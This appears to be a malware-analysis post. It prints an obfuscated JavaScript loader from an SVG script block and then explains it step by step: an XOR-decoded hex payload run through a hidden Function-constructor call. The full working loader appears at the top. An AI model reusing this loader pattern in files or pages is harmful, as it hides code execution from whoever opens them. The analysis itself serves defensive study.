The given code is a compact and obfuscated JavaScript snippet....

July 2, 2025 at 08:34 PM

S = 'xxxxxx'; (() => { const i = "bdd65fd0865d8e48898806a4", j = "150d0a525a114a5c57555410510a5a16504b5d5e100b4155160b061e55072c62581d12545b2d13131a740e74121d434d5a1d461d55043057581d12505a571313585a4d62501d015a340e041d123f09091f1d121174081313586f4274501d46042452431d55373254581d5529593254131a77086e121d46042055431d552b1e7e581d122b620c13131a01531a191d320f"; const u = j.match(/.{2}/g), T = []; for (let B = 0; B < u.length; B++) { T.push(String.fromCharCode(parseInt(u[B], 16) ^ i.charCodeAt(B % i.length))); } const s = T.join(''); const A = { toString: () => { const r = [][ [115,111,109,101].map(y => String.fromCharCode(y)).join('') ][ [99,111,110,115,116,114,117,99,116,111,114].map(y => String.fromCharCode(y)).join('') ]; return r(s)(), 1; } }; A + ''; })(); ]]> </script> </svg>

The given code is a compact and obfuscated JavaScript snippet. Here's an outline of what it does:

  1. String j Processing:

    • A hexadecimal encoded string j is defined.
    • The code splits j into two-character substrings (u), representing hexadecimal byte values.
  2. XOR Decryption:

    • For each two-character substring in j, it decodes the hex value to an integer, XORs it with a character from the string i (cyclically), and converts the result back to a character using String.fromCharCode.
    • The result is stored in an array T, which eventually represents a decoded ASCII string (s).
  3. A Object's toString Method:

    • The A object features a custom toString implementation.
    • The toString method assembles the word "some" (via ASCII values), creates the JavaScript Function constructor (Function), and then evaluates the decoded string s as code using Function(s)().
  4. Execution of Decoded String:

    • The decoded string s, which contains obfuscated JavaScript, is executed dynamically.
  5. Purpose:

    • The primary intention is likely to execute some hidden payload embedded in the hex-encoded data j after decoding and deobfuscation.
    • This obfuscation makes it difficult to understand the payload's logic without full decoding.

Malicious Potential: The inner workings suggest that payload execution is a likely intention. Without running or fully decoding the script, it's unclear what the final payload does. Such obfuscated patterns are often associated with malicious or unauthorized code, like delivering hidden functionality (e.g., malware, data exfiltration, or exploits).

Caution: If you encounter this code in an unknown or suspicious context (e.g., websites or untrusted environments), do not execute it. Analyze it in a controlled, sandboxed environment if necessary.

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